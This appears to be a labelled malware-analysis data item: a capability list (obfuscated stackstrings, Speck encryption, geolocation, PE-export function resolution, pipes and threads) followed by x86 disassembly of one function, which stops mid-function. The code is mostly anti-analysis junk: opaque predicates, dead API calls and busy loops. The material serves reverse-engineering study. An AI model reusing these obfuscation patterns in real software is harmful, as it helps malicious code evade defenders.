Function at 0x1003cc80
Capabilities:
Accept command line arguments
Contain obfuscated stackstrings
Create pipe
Create thread
Create two anonymous pipes
Encrypt data using speck
Get geographical location
Parse pe header
Resolve function by parsing pe exports

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x1008f2ed
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
mov eax, 0x1df0
call fcn.1008ab20
push esi
push 2
lea ecx, [ebp - 0x2a8]
call fcn.10026750
and dword [ebp - 4], 0
or dword [ebp - 0x1594], 0xffffffff
or dword [ebp - 0x1590], 0xffffffff
or dword [ebp - 0x158c], 0xffffffff
or dword [ebp - 0x1588], 0xffffffff
lea ecx, [ebp - 0x6f1]
call fcn.100267fd
push eax
lea eax, [ebp - 0x1584]
push eax
lea eax, [ebp - 0x1594]
push eax
lea ecx, [ebp - 0x1a20]
call fcn.10026800
push dword [eax + 4]
push dword [eax]
lea ecx, [ebp - 0x1418]
call fcn.100267ac
mov byte [ebp - 4], 1
mov dword [ebp - 0x2cc], 0
jmp 0x1003cd22
mov eax, dword [ebp - 0x2cc]
inc eax
mov dword [ebp - 0x2cc], eax
cmp dword [ebp - 0x2cc], 2
jge 0x1003cd44
push dword [ebp - 0x2cc]
lea ecx, [ebp - 0x2a8]
call fcn.100267ee
mov dword [eax], 0xfffffffd
jmp 0x1003cd15
push 0
lea ecx, [ebp - 0x2a8]
call fcn.100267ee
mov esi, eax
push 0
lea ecx, [ebp - 0x2a8]
call fcn.100267ee
mov ecx, dword [esi]
cmp ecx, dword [eax]
jne 0x1003cd72
mov dword [ebp - 0x794], 1
jmp 0x1003cd79
and dword [ebp - 0x794], 0
push 0
lea ecx, [ebp - 0x2a8]
call fcn.100267ee
cmp dword [eax], 9
jle 0x1003cd97
mov dword [ebp - 0x1398], 1
jmp 0x1003cd9e
and dword [ebp - 0x1398], 0
push 2
lea ecx, [ebp - 0x1418]
call fcn.100267ee
mov ecx, dword [ebp - 0x794]
mov dword [eax], ecx
push 0
lea ecx, [ebp - 0x2a8]
call fcn.100267ee
push 1
lea ecx, [ebp - 0x1418]
call fcn.100267ee
mov esi, eax
push 0
lea ecx, [ebp - 0x2a8]
call fcn.100267ee
mov ecx, dword [esi]
sub ecx, dword [eax]
cmp ecx, 0xffff
jne 0x1003cdf4
mov dword [ebp - 0x1064], 1
jmp 0x1003cdfb
and dword [ebp - 0x1064], 0
push 0
lea ecx, [ebp - 0x2a8]
call fcn.100267ee
cmp dword [eax], 3
ja 0x1003ce19
mov dword [ebp - 0xe40], 1
jmp 0x1003ce20
and dword [ebp - 0xe40], 0
push 1
lea ecx, [ebp - 0x2a8]
call fcn.100267ee
mov ecx, dword [ebp - 0xe40]
cmp ecx, dword [eax]
jne 0x1003ce43
mov dword [ebp - 0xe7c], 1
jmp 0x1003ce4a
and dword [ebp - 0xe7c], 0
push 0
lea ecx, [ebp - 0x2a8]
call fcn.100267ee
mov eax, dword [eax]
cmp eax, dword [ebp - 0xe7c]
jl 0x1003d176
push 1
lea ecx, [ebp - 0x2a8]
call fcn.100267ee
cmp dword [eax], 0
je 0x1003d176
mov dword [ebp - 0x106c], 0
mov dword [ebp - 0x478], 0
jmp 0x1003ce9e
mov eax, dword [ebp - 0x478]
inc eax
mov dword [ebp - 0x478], eax
cmp dword [ebp - 0x478], 3
jge 0x1003ceba
mov eax, dword [ebp - 0x478]
mov dword [ebp + eax*4 - 0x638], 0xfffffffe
jmp 0x1003ce91
push 4
pop eax
shl eax, 0
mov dword [ebp + eax - 0x638], 1
jmp 0x1003cee8
push 4
pop eax
shl eax, 0
mov eax, dword [ebp + eax - 0x638]
dec eax
push 4
pop ecx
shl ecx, 0
mov dword [ebp + ecx - 0x638], eax
push 4
pop eax
shl eax, 0
cmp dword [ebp + eax - 0x638], 0
jl 0x1003d174
push 2
lea ecx, [ebp - 0x78c]
call fcn.10026750
mov byte [ebp - 4], 2
mov dword [ebp - 0x2d4], 0
jmp 0x1003cf26
mov eax, dword [ebp - 0x2d4]
inc eax
mov dword [ebp - 0x2d4], eax
cmp dword [ebp - 0x2d4], 2
jge 0x1003cf48
push dword [ebp - 0x2d4]
lea ecx, [ebp - 0x78c]
call fcn.100267ee
mov dword [eax], 0xfffffffe
jmp 0x1003cf19
push 0
lea ecx, [ebp - 0x78c]
call fcn.100267ee
and dword [eax], 0
jmp 0x1003cf7e
push 0
lea ecx, [ebp - 0x78c]
call fcn.100267ee
mov dword [ebp - 0xe84], eax
mov eax, dword [ebp - 0xe84]
mov eax, dword [eax]
inc eax
mov ecx, dword [ebp - 0xe84]
mov dword [ecx], eax
push 0
lea ecx, [ebp - 0x78c]
call fcn.100267ee
cmp dword [eax], 1
jg 0x1003d160
mov dword [ebp - 0x1320], 0x11b1996f
push 4
pop eax
shl eax, 0
push dword [ebp + eax - 0x638]
lea ecx, [ebp - 0x2a8]
call fcn.100267ee
mov esi, eax
push 1
lea ecx, [ebp - 0x2a8]
call fcn.100267ee
mov ecx, dword [esi]
sub ecx, dword [eax]
mov dword [ebp - 0xe8c], ecx
push 0
lea ecx, [ebp - 0x78c]
call fcn.100267ee
push dword [eax]
lea ecx, [ebp - 0x2a8]
call fcn.100267ee
mov ecx, dword [ebp - 0xe8c]
mov dword [eax], ecx
cmp dword [ebp - 0xe8c], 0
jne 0x1003d11d
push 3
lea ecx, [ebp - 0x1418]
call fcn.100267ee
cmp dword [eax], 0
jne 0x1003d09c
push 4
pop eax
shl eax, 0
push dword [ebp + eax - 0x638]
lea ecx, [ebp - 0x2a8]
call fcn.100267ee
push 4
pop eax
shl eax, 1
mov eax, dword [ebp + eax - 0x638]
mov dword [ebp - 0x184c], eax
push 4
pop eax
shl eax, 1
cmp dword [ebp + eax - 0x638], 0x97a0b891
jb 0x1003d067
push 4
pop eax
shl eax, 0
cmp dword [ebp + eax - 0x638], 0
je 0x1003d067
cmp dword [ebp - 0x106c], 0
push 0
lea ecx, [ebp - 0x78c]
call fcn.100267ee
push 0
lea ecx, [ebp - 0x78c]
call fcn.100267ee
push 0
lea ecx, [ebp - 0x78c]
call fcn.100267ee
cmp dword [eax], 0
jbe 0x1003d09c
and dword [ebp - 0xe94], 0
jmp 0x1003d0a6
mov dword [ebp - 0xe94], 1
push 4
pop eax
shl eax, 0
mov eax, dword [ebp + eax - 0x638]
cmp dword [ebp - 0xe94], eax
jl 0x1003d0c7
mov dword [ebp - 0xe9c], 1
jmp 0x1003d0ce
and dword [ebp - 0xe9c], 0
push 4
pop eax
shl eax, 0
mov eax, dword [ebp + eax - 0x638]
imul eax, dword [ebp - 0xe9c]
test eax, eax
je 0x1003d104
push 0
lea ecx, [ebp - 0x1418]
call fcn.100267ee
cmp dword [eax], 0
je 0x1003d104
mov dword [ebp - 0xea4], 1
jmp 0x1003d10b
and dword [ebp - 0xea4], 0
cmp dword [ebp - 0xea4], 3
jle 0x1003d11d
and dword [ebp - 0xeac], 0
jmp 0x1003d127
mov dword [ebp - 0xeac], 1
push 4
pop eax
imul eax, eax, 0
mov eax, dword [ebp + eax - 0x638]
cmp dword [ebp - 0xeac], eax
jne 0x1003d148
mov dword [ebp - 0xeb4], 1
jmp 0x1003d14f
and dword [ebp - 0xeb4], 0
mov eax, dword [ebp - 0xeb4]
mov dword [ebp - 0x1320], eax
jmp 0x1003cf5a
mov byte [ebp - 4], 1
lea ecx, [ebp - 0x78c]
call fcn.100267d2
jmp 0x1003cecd
jmp 0x1003d190
mov byte [ebp - 0x1a8], 0
movzx eax, byte [ebp - 0x1a8]
test eax, eax
je 0x1003d190
push 0
call dword [sym.imp.KERNEL32.dll_ClearCommBreak]
mov byte [ebp - 4], 0
lea ecx, [ebp - 0x1418]
call fcn.100267d2
or dword [ebp - 4], 0xffffffff
lea ecx, [ebp - 0x2a8]
call fcn.100267d2
cmp dword [ebp + 0x10], 0
jbe 0x1003d1d0
movzx eax, byte [ebp + 0x14]
test eax, eax
je 0x1003d1d0
movzx eax, word [ebp + 0x10]
push eax
push dword [ebp + 8]
call fcn.10036df7
pop ecx
pop ecx
jmp 0x10049dd6
mov dword [ebp - 0xed4], 0x10a1434a
mov dword [ebp - 0xb7c], 0xefa025ec
mov dword [ebp - 0x7a4], 0xfffffffa
mov dword [ebp - 0x47c], 0
jmp 0x1003d207
mov eax, dword [ebp - 0x47c]
inc eax
mov dword [ebp - 0x47c], eax
cmp dword [ebp - 0x47c], 1
jge 0x1003d223
mov eax, dword [ebp - 0x47c]
mov dword [ebp + eax*4 - 0x164], 0xfffffffa
jmp 0x1003d1fa
push 4
pop eax
imul eax, eax, 0
mov dword [ebp + eax - 0x164], 0
jmp 0x1003d251
push 4
pop eax
imul eax, eax, 0
mov eax, dword [ebp + eax - 0x164]
dec eax
push 4
pop ecx
imul ecx, ecx, 0
mov dword [ebp + ecx - 0x164], eax
push 4
pop eax
imul eax, eax, 0
cmp dword [ebp + eax - 0x164], 0xfffffff6
je 0x1003d508
mov dword [ebp - 0x16c], 0
mov dword [ebp - 0xeec], 0xffffffff
mov dword [ebp - 0x16c], 0
jmp 0x1003d292
mov eax, dword [ebp - 0x16c]
dec eax
mov dword [ebp - 0x16c], eax
cmp dword [ebp - 0x16c], 0xffffffff
je 0x1003d503
mov dword [ebp - 0x208], 0x43c4ab27
mov dword [ebp - 0x208], 0xd
jmp 0x1003d2c2
mov eax, dword [ebp - 0x208]
dec eax
mov dword [ebp - 0x208], eax
cmp dword [ebp - 0x208], 1
je 0x1003d4fe
mov dword [ebp - 0x174], 0xe53e58bf
mov dword [ebp - 0x174], 0
jmp 0x1003d2f2
mov eax, dword [ebp - 0x174]
inc eax
mov dword [ebp - 0x174], eax
cmp dword [ebp - 0x174], 0x12
jl 0x1003d4db
mov dword [ebp - 0x79c], 0
mov dword [ebp - 0x2dc], 0
jmp 0x1003d322
mov eax, dword [ebp - 0x2dc]
inc eax
mov dword [ebp - 0x2dc], eax
cmp dword [ebp - 0x2dc], 1
jge 0x1003d33e
mov eax, dword [ebp - 0x2dc]
mov dword [ebp + eax*4 - 0x1328], 0xfffffff9
jmp 0x1003d315
mov eax, dword [ebp - 0x174]
mov dword [ebp - 0x18ac], eax
push 0xfffffffffffffffa
pop eax
test eax, eax
je 0x1003d366
cmp dword [ebp - 0x16c], 0
je 0x1003d366
mov dword [ebp - 0xebc], 1
jmp 0x1003d36d
and dword [ebp - 0xebc], 0
mov eax, dword [ebp - 0x16c]
cmp eax, dword [ebp - 0xebc]
jge 0x1003d387
mov dword [ebp - 0xec4], 1
jmp 0x1003d38e
and dword [ebp - 0xec4], 0
push 4
pop eax
imul eax, eax, 0
mov eax, dword [ebp + eax - 0x164]
imul eax, dword [ebp - 0xec4]
cmp eax, dword [ebp - 0x174]
jne 0x1003d3bc
mov eax, 0x68fdadf8
test eax, eax
jne 0x1003d3bc
and dword [ebp - 0xecc], 0
jmp 0x1003d3c6
mov dword [ebp - 0xecc], 1
mov eax, dword [ebp - 0xecc]
mov dword [ebp - 0xed4], eax
mov eax, dword [ebp - 0xed4]
cmp dword [ebp - 0x79c], eax
jl 0x1003d3ec
mov dword [ebp - 0xedc], 1
jmp 0x1003d3f3
and dword [ebp - 0xedc], 0
cmp dword [ebp - 0xedc], 0xf738
jne 0x1003d40b
mov dword [ebp - 0xee4], 1
jmp 0x1003d412
and dword [ebp - 0xee4], 0
mov eax, dword [ebp - 0xee4]
mov dword [ebp - 0xeec], eax
cmp dword [ebp - 0xeec], 0xfffa
jne 0x1003d436
mov dword [ebp - 0xec0], 1
jmp 0x1003d43d
and dword [ebp - 0xec0], 0
mov eax, dword [ebp - 0xec0]
mov dword [ebp - 0xb7c], eax
mov eax, dword [ebp - 0xb7c]
push 4
pop ecx
imul ecx, ecx, 0
add eax, dword [ebp + ecx - 0x164]
push 4
pop ecx
imul ecx, ecx, 0
cmp eax, dword [ebp + ecx - 0x164]
jg 0x1003d477
mov dword [ebp - 0xe38], 1
jmp 0x1003d47e
and dword [ebp - 0xe38], 0
mov eax, dword [ebp - 0xe38]
sub eax, 3
imul eax, eax, 7
add eax, dword [ebp - 0x16c]
mov dword [ebp - 0x7a4], eax
mov eax, dword [ebp - 0x79c]
cmp dword [ebp - 0x208], eax
jg 0x1003d4b0
mov dword [ebp - 0xe68], 1
jmp 0x1003d4b7
and dword [ebp - 0xe68], 0
push 4
pop eax
imul eax, eax, 0
mov ecx, dword [ebp - 0xe68]
mov dword [ebp + eax - 0x1328], ecx
mov eax, dword [ebp - 0x174]
mov dword [ebp - 0x7a4], eax
jmp 0x1003d2e5
mov byte [ebp - 0x1a5], 0
movzx eax, byte [ebp - 0x1a5]
test eax, eax
je 0x1003d4f9
push 0
push 0
push 0
call dword [sym.imp.GDI32.dll_GetBitmapBits]
jmp 0x1003d2b5
jmp 0x1003d285
jmp 0x1003d236
mov byte [ebp - 0x191], 0
movzx eax, byte [ebp - 0x191]
test eax, eax
je 0x1003d526
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameA]
mov dword [ebp - 0xdc], 5
mov dword [ebp - 0x17c], 2
mov dword [ebp - 0x7ac], 0xd5b611fb
mov eax, 0xcdea
test eax, eax
je 0x1003d630
mov eax, dword [ebp - 0xdc]
mov dword [ebp - 0x17c], eax
cmp dword [ebp - 0x17c], 0
jne 0x1003d578
cmp dword [ebp - 0x17c], 0
jne 0x1003d578
and dword [ebp - 0xb84], 0
jmp 0x1003d582
mov dword [ebp - 0xb84], 1
imul eax, dword [ebp - 0xb84], 6
sub eax, 0xfff7
je 0x1003d597
cmp dword [ebp - 0x17c], 0
cmp dword [ebp - 0x17c], 0
je 0x1003d5b5
cmp dword [ebp - 0x17c], 0
je 0x1003d5b5
mov dword [ebp - 0x1330], 1
jmp 0x1003d5bc
and dword [ebp - 0x1330], 0
mov eax, dword [ebp - 0xdc]
mov dword [ebp - 0x18d0], eax
mov eax, dword [ebp - 0xdc]
mov dword [ebp - 0x7ac], eax
mov eax, dword [ebp - 0xdc]
cmp dword [ebp - 0x7ac], eax
jg 0x1003d5ee
mov dword [ebp - 0xd74], 1
jmp 0x1003d5f5
and dword [ebp - 0xd74], 0
mov eax, dword [ebp - 0xdc]
cmp dword [ebp - 0xd74], eax
jge 0x1003d60f
mov dword [ebp - 0x7b4], 1
jmp 0x1003d616
and dword [ebp - 0x7b4], 0
mov eax, dword [ebp - 0xdc]
add eax, dword [ebp - 0x7b4]
je 0x1003d630
mov dword [ebp - 0xb8c], 1
jmp 0x1003d637
and dword [ebp - 0xb8c], 0
cmp dword [ebp - 0xb8c], 4
je 0x1003d64c
mov dword [ebp - 0x7bc], 1
jmp 0x1003d653
and dword [ebp - 0x7bc], 0
cmp dword [ebp - 0x7bc], 0xcdf8
jl 0x1003d66b
mov dword [ebp - 0xed0], 1
jmp 0x1003d672
and dword [ebp - 0xed0], 0
mov eax, dword [ebp - 0xdc]
cmp dword [ebp - 0xed0], eax
jl 0x1003d68c
mov dword [ebp - 0x7c4], 1
jmp 0x1003d693
and dword [ebp - 0x7c4], 0
cmp dword [ebp - 0x7c4], 0
jne 0x1003d6a8
mov dword [ebp - 0xb94], 1
jmp 0x1003d6af
and dword [ebp - 0xb94], 0
cmp dword [ebp - 0xb94], 0x8d581621
ja 0x1003d6c7
mov dword [ebp - 0x1338], 1
jmp 0x1003d6ce
and dword [ebp - 0x1338], 0
mov eax, dword [ebp - 0xdc]
cmp dword [ebp - 0x17c], eax
jg 0x1003d720
mov byte [ebp - 0x19d], 0
movzx eax, byte [ebp - 0x19d]
test eax, eax
je 0x1003d6fe
push 0
push 0
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_MapViewOfFile]
mov byte [ebp - 0x15a], 0
movzx eax, byte [ebp - 0x15a]
test eax, eax
je 0x1003d71e
push 0
push 0
push 0
push 0
call dword [sym.imp.GDI32.dll_EnumFontsA]
jmp 0x1003d73e
mov byte [ebp - 0x15c], 0
movzx eax, byte [ebp - 0x15c]
test eax, eax
je 0x1003d73e
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_WaitForSingleObjectEx]
cmp dword [ebp + 0x10], 0
jne 0x10043f02
mov dword [ebp - 0x5c], 0x3606de71
mov dword [ebp - 0x1350], 2
mov dword [ebp - 0x1358], 0
mov dword [ebp - 0x54c], 0
jmp 0x1003d77c
mov eax, dword [ebp - 0x54c]
inc eax
mov dword [ebp - 0x54c], eax
cmp dword [ebp - 0x54c], 2
jge 0x1003d798
mov eax, dword [ebp - 0x54c]
mov dword [ebp + eax*4 - 0x1078], 0xae355683
jmp 0x1003d76f
mov dword [ebp - 0x5c], 1
jmp 0x1003d7a8
mov eax, dword [ebp - 0x5c]
dec eax
mov dword [ebp - 0x5c], eax
cmp dword [ebp - 0x5c], 0
jl 0x1003d8c3
mov dword [ebp - 0x2e4], 0x3f7b
cmp dword [ebp - 0x2e4], 6
je 0x1003d7d1
mov dword [ebp - 0x1340], 1
jmp 0x1003d7d8
and dword [ebp - 0x1340], 0
push 4
pop eax
imul eax, eax, 0
cmp dword [ebp + eax - 0x1078], 0xade661fb
ja 0x1003d7f7
mov dword [ebp - 0x7cc], 1
jmp 0x1003d7fe
and dword [ebp - 0x7cc], 0
mov eax, dword [ebp - 0x7cc]
add eax, 0x5743f84
sub eax, dword [ebp - 0x5c]
cmp dword [ebp - 0x2e4], eax
jne 0x1003d820
mov dword [ebp - 0x1348], 1
jmp 0x1003d827
and dword [ebp - 0x1348], 0
mov eax, 0xa167
test eax, eax
je 0x1003d845
mov eax, 0x8cae
test eax, eax
je 0x1003d845
mov dword [ebp - 0xd7c], 1
jmp 0x1003d84c
and dword [ebp - 0xd7c], 0
push 4
pop eax
shl eax, 0
mov eax, dword [ebp + eax - 0x1078]
add eax, dword [ebp - 0xd7c]
mov ecx, dword [ebp - 0x5c]
mov dword [ebp + ecx*4 - 0x1078], eax
mov eax, dword [ebp - 0x2e4]
add eax, dword [ebp - 0x1350]
je 0x1003d88c
cmp dword [ebp - 0x2e4], 0
je 0x1003d88c
mov dword [ebp - 0x7d4], 1
jmp 0x1003d893
and dword [ebp - 0x7d4], 0
cmp dword [ebp - 0x7d4], 0x79ae4f78
jne 0x1003d8ab
mov dword [ebp - 0xb9c], 1
jmp 0x1003d8b2
and dword [ebp - 0xb9c], 0
mov eax, dword [ebp - 0xb9c]
mov dword [ebp - 0x1358], eax
jmp 0x1003d7a1
mov dword [ebp - 0x5c], 0
jmp 0x1003d8d3
mov eax, dword [ebp - 0x5c]
inc eax
mov dword [ebp - 0x5c], eax
cmp dword [ebp - 0x5c], 0x19
jge 0x1003d90b
mov byte [ebp - 0x15e], 0
movzx eax, byte [ebp - 0x15e]
test eax, eax
je 0x1003d909
push 0
push 0
push 0
push 0
push 0
push 0
push 0
push 0
push 0
push 0
push 0
push 0
call dword [sym.imp.GDI32.dll_MaskBlt]
jmp 0x1003d8cc
mov edx, dword [ebp + 8]
mov ecx, dword [ebp + 0xc]
call fcn.1002a0e5
mov dword [ebp - 0x508], eax
mov dword [ebp - 0x7dc], 0x61f3
mov dword [ebp - 0x1368], 0x1000b5dc
cmp dword [ebp - 0x7dc], 0x6348
jle 0x1003d9e8
push 0
call dword [sym.imp.USER32.dll_DestroyCursor]
and dword [ebp - 0x484], 0
jmp 0x1003d95e
mov eax, dword [ebp - 0x484]
inc eax
mov dword [ebp - 0x484], eax
cmp dword [ebp - 0x484], 0x2f85
jge 0x1003d9e8
and dword [ebp - 0x2ec], 0
jmp 0x1003d980
mov eax, dword [ebp - 0x2ec]
inc eax
mov dword [ebp - 0x2ec], eax
cmp dword [ebp - 0x2ec], 0x11d1
jge 0x1003d9e3
mov eax, dword [ebp - 0x484]
add eax, dword [ebp - 0x2ec]
cdq
mov dword [ebp - 0x1084], eax
mov dword [ebp - 0x1080], edx
push dword [ebp - 0x1080]
push dword [ebp - 0x1084]
lea ecx, [ebp - 0x1b60]
call fcn.100127de
pop ecx
pop ecx
mov dword [ebp - 0x1360], eax
mov ecx, dword [ebp - 0x1360]
call fcn.10026416
push eax
call fcn.10079103
pop ecx
lea ecx, [ebp - 0x1b60]
call fcn.1002640c
jmp 0x1003d973
jmp 0x1003d951
cmp dword [ebp - 0x7dc], 0x5e79
jge 0x1003da00
push dword [ebp - 0x1368]
call fcn.10079103
pop ecx
push 2
lea ecx, [ebp - 0xfb8]
call fcn.10026750
mov dword [ebp - 4], 3
mov dword [ebp - 0xec], 0
mov dword [ebp - 0x7ec], 0x9a07b304
mov dword [ebp - 0xd84], 0xfffd
mov dword [ebp - 0x804], 0xffffffff
mov dword [ebp - 0x5b4], 0
jmp 0x1003da55
mov eax, dword [ebp - 0x5b4]
inc eax
mov dword [ebp - 0x5b4], eax
cmp dword [ebp - 0x5b4], 2
jge 0x1003da77
push dword [ebp - 0x5b4]
lea ecx, [ebp - 0xfb8]
call fcn.100267ee
mov dword [eax], 5
jmp 0x1003da48
mov dword [ebp - 0xec], 1
jmp 0x1003da90
mov eax, dword [ebp - 0xec]
dec eax
mov dword [ebp - 0xec], eax
cmp dword [ebp - 0xec], 0
jl 0x1003dcbc
mov dword [ebp - 0x15a8], 0x52d0da0b
mov dword [ebp - 0x15a4], 0x52d0da0b
mov dword [ebp - 0x15a0], 0x52d0da0b
mov dword [ebp - 0x159c], 0x52d0da0b
lea ecx, [ebp - 0x6f9]
call fcn.100267fd
push eax
lea eax, [ebp - 0x1598]
push eax
lea eax, [ebp - 0x15a8]
push eax
lea ecx, [ebp - 0x1a98]
call fcn.10026800
push dword [eax + 4]
push dword [eax]
lea ecx, [ebp - 0x17c4]
call fcn.100267ac
mov byte [ebp - 4], 4
mov dword [ebp - 0xba4], 0xaafbebf0
mov dword [ebp - 0x1380], 0
mov dword [ebp - 0x1388], 0xf4c6f444
push dword [ebp - 0xec]
lea ecx, [ebp - 0xfb8]
call fcn.100267ee
cmp dword [eax], 8
jg 0x1003db3e
mov dword [ebp - 0x1370], 1
jmp 0x1003db45
and dword [ebp - 0x1370], 0
imul eax, dword [ebp - 0x7ec], 0xffffffff
test eax, eax
jne 0x1003db78
push dword [ebp - 0xec]
lea ecx, [ebp - 0xfb8]
call fcn.100267ee
cmp dword [eax], 0
jne 0x1003db78
cmp dword [ebp - 0xd84], 0
jne 0x1003db78
and dword [ebp - 0xe70], 0
jmp 0x1003db82
mov dword [ebp - 0xe70], 1
mov eax, dword [ebp - 0xba4]
cmp dword [ebp - 0xe70], eax
jle 0x1003db9c
mov dword [ebp - 0x1378], 1
jmp 0x1003dba3
and dword [ebp - 0x1378], 0
push 0
lea ecx, [ebp - 0x17c4]
call fcn.100267ee
mov dword [ebp - 0x7e4], eax
push dword [ebp - 0xec]
lea ecx, [ebp - 0xfb8]
call fcn.100267ee
mov ecx, dword [ebp - 0x7e4]
mov eax, dword [eax]
mov dword [ecx], eax
mov eax, dword [ebp - 0x7e4]
mov eax, dword [eax]
add eax, dword [ebp - 0xba4]
imul esi, eax, 0x9fac
neg esi
push dword [ebp - 0xec]
lea ecx, [ebp - 0xfb8]
call fcn.100267ee
imul esi, dword [eax]
cmp esi, dword [ebp - 0x7ec]
jl 0x1003dc0f
mov dword [ebp - 0x7f4], 1
jmp 0x1003dc16
and dword [ebp - 0x7f4], 0
mov eax, dword [ebp - 0xd84]
cmp dword [ebp - 0x7f4], eax
je 0x1003dc30
mov dword [ebp - 0xbac], 1
jmp 0x1003dc37
and dword [ebp - 0xbac], 0
cmp dword [ebp - 0xbac], 0xffffffff
je 0x1003dc4c
mov dword [ebp - 0x7fc], 1
jmp 0x1003dc53
and dword [ebp - 0x7fc], 0
cmp dword [ebp - 0x7fc], 0
jne 0x1003dc68
mov dword [ebp - 0xf34], 1
jmp 0x1003dc6f
and dword [ebp - 0xf34], 0
mov eax, dword [ebp - 0xf34]
mov dword [ebp - 0x804], eax
mov eax, dword [ebp - 0x1380]
cmp dword [ebp - 0x804], eax
jl 0x1003dc95
mov dword [ebp - 0xbb4], 1
jmp 0x1003dc9c
and dword [ebp - 0xbb4], 0
mov eax, dword [ebp - 0xbb4]
mov dword [ebp - 0x1388], eax
mov byte [ebp - 4], 3
lea ecx, [ebp - 0x17c4]
call fcn.100267d2
jmp 0x1003da83
or dword [ebp - 4], 0xffffffff
lea ecx, [ebp - 0xfb8]
call fcn.100267d2
cmp dword [0x1009a008], 0
jne 0x10043af1
push 3
lea ecx, [ebp - 0x278]
call fcn.10026750
mov dword [ebp - 4], 5
mov dword [ebp - 0x28], 0xb1cecb45
mov dword [ebp - 0xd8c], 0x82b357f0
mov dword [ebp - 0x6d4], 0x79ea4087
mov dword [ebp - 0x13a0], 0xdea90cff
mov dword [ebp - 0x2f4], 0
jmp 0x1003dd2a
mov eax, dword [ebp - 0x2f4]
inc eax
mov dword [ebp - 0x2f4], eax
cmp dword [ebp - 0x2f4], 3
jge 0x1003dd4c
push dword [ebp - 0x2f4]
lea ecx, [ebp - 0x278]
call fcn.100267ee
mov dword [eax], 0x41b3
jmp 0x1003dd1d
mov dword [ebp - 0x28], 2
jmp 0x1003dd5c
mov eax, dword [ebp - 0x28]
dec eax
mov dword [ebp - 0x28], eax
cmp dword [ebp - 0x28], 0
jl 0x1003e298
mov dword [ebp - 0x184], 1
mov dword [ebp - 0x814], 0x3624b674
mov dword [ebp - 0x80c], 0x951
mov dword [ebp - 0x1010], 0x1000b5fc
cmp dword [ebp - 0x80c], 0xcd2
jle 0x1003dea6
and dword [ebp - 0x48c], 0
jmp 0x1003ddb4
mov eax, dword [ebp - 0x48c]
inc eax
mov dword [ebp - 0x48c], eax
cmp dword [ebp - 0x48c], 0x264
jge 0x1003dea6
and dword [ebp - 0x2fc], 0
jmp 0x1003ddda
mov eax, dword [ebp - 0x2fc]
inc eax
mov dword [ebp - 0x2fc], eax
cmp dword [ebp - 0x2fc], 0x19c8
jge 0x1003dea1
and dword [ebp - 0x554], 0
jmp 0x1003de00
mov eax, dword [ebp - 0x554]
inc eax
mov dword [ebp - 0x554], eax
cmp dword [ebp - 0x554], 0x5072
jge 0x1003de9c
and dword [ebp - 0x304], 0
jmp 0x1003de26
mov eax, dword [ebp - 0x304]
inc eax
mov dword [ebp - 0x304], eax
cmp dword [ebp - 0x304], 0x329f
jge 0x1003de97
mov eax, dword [ebp - 0x48c]
sub eax, dword [ebp - 0x2fc]
mov ecx, dword [ebp - 0x554]
add ecx, dword [ebp - 0x304]
xor eax, ecx
cdq
mov dword [ebp - 0x1090], eax
mov dword [ebp - 0x108c], edx
push dword [ebp - 0x108c]
push dword [ebp - 0x1090]
lea ecx, [ebp - 0x1bcc]
call fcn.100127de
pop ecx
pop ecx
mov dword [ebp - 0x1390], eax
mov ecx, dword [ebp - 0x1390]
call fcn.10026416
push eax
call fcn.10079103
pop ecx
lea ecx, [ebp - 0x1bcc]
call fcn.1002640c
jmp 0x1003de19
jmp 0x1003ddf3
jmp 0x1003ddcd
jmp 0x1003dda7
push 3
lea ecx, [ebp - 0x1690]
call fcn.10026750
mov byte [ebp - 4], 6
cmp dword [ebp - 0x80c], 0x728
jge 0x1003decf
push dword [ebp - 0x1010]
call fcn.10079103
pop ecx
mov dword [ebp - 0x654], 0
mov dword [ebp - 0x98], 0
jmp 0x1003def2
mov eax, dword [ebp - 0x98]
inc eax
mov dword [ebp - 0x98], eax
cmp dword [ebp - 0x98], 3
jge 0x1003df11
push dword [ebp - 0x98]
lea ecx, [ebp - 0x1690]
call fcn.100267ee
or dword [eax], 0xffffffff
jmp 0x1003dee5
mov dword [ebp - 0x98], 0
jmp 0x1003df2a
mov eax, dword [ebp - 0x98]
inc eax
mov dword [ebp - 0x98], eax
cmp dword [ebp - 0x98], 4
jge 0x1003df46
mov eax, dword [ebp - 0x98]
mov dword [ebp + eax*4 - 0x1ab0], 0x88cdf2ab
jmp 0x1003df1d
mov dword [ebp - 0x184], 2
jmp 0x1003df5f
mov eax, dword [ebp - 0x184]
dec eax
mov dword [ebp - 0x184], eax
cmp dword [ebp - 0x184], 0
jl 0x1003dfc8
mov dword [ebp - 0x1ac], 0xb9dd952e
mov dword [ebp - 0x1ac], 2
jmp 0x1003df8b
mov eax, dword [ebp - 0x1ac]
dec eax
mov dword [ebp - 0x1ac], eax
cmp dword [ebp - 0x1ac], 0
jl 0x1003dfbb
push dword [ebp - 0x28]
lea ecx, [ebp - 0x278]
call fcn.100267ee
mov esi, eax
push dword [ebp - 0x1ac]
lea ecx, [ebp - 0x278]
call fcn.100267ee
mov ecx, dword [esi]
mov dword [eax], ecx
jmp 0x1003df7e
cmp dword [ebp - 0x1ac], 0
je 0x1003dfc6
jmp 0x1003df52
jmp 0x1003df52
xor eax, eax
jne 0x1003e213
push dword [ebp - 0x28]
lea ecx, [ebp - 0x278]
call fcn.100267ee
cmp dword [eax], 0
jne 0x1003e102
mov dword [ebp - 0x184], 0x8c55
mov eax, dword [ebp - 0x184]
mov dword [ebp - 0xd8c], eax
mov eax, dword [ebp - 0xd8c]
mov dword [ebp - 0x814], eax
mov eax, dword [ebp - 0x814]
mov dword [ebp - 0x64c], eax
push 0
lea ecx, [ebp - 0x1690]
call fcn.100267ee
mov ecx, dword [ebp - 0x64c]
mov dword [eax], ecx
push 4
pop eax
imul eax, eax, 3
mov ecx, dword [ebp - 0x64c]
mov dword [ebp + eax - 0x1ab0], ecx
push dword [ebp - 0x28]
lea ecx, [ebp - 0x278]
call fcn.100267ee
cmp dword [eax], 1
jne 0x1003e05c
mov dword [ebp - 0xbbc], 1
jmp 0x1003e063
and dword [ebp - 0xbbc], 0
push 0
lea ecx, [ebp - 0x278]
call fcn.100267ee
mov ecx, dword [ebp - 0xbbc]
cmp ecx, dword [eax]
jle 0x1003e08c
cmp dword [ebp - 0x184], 0
jne 0x1003e08c
and dword [ebp - 0x81c], 0
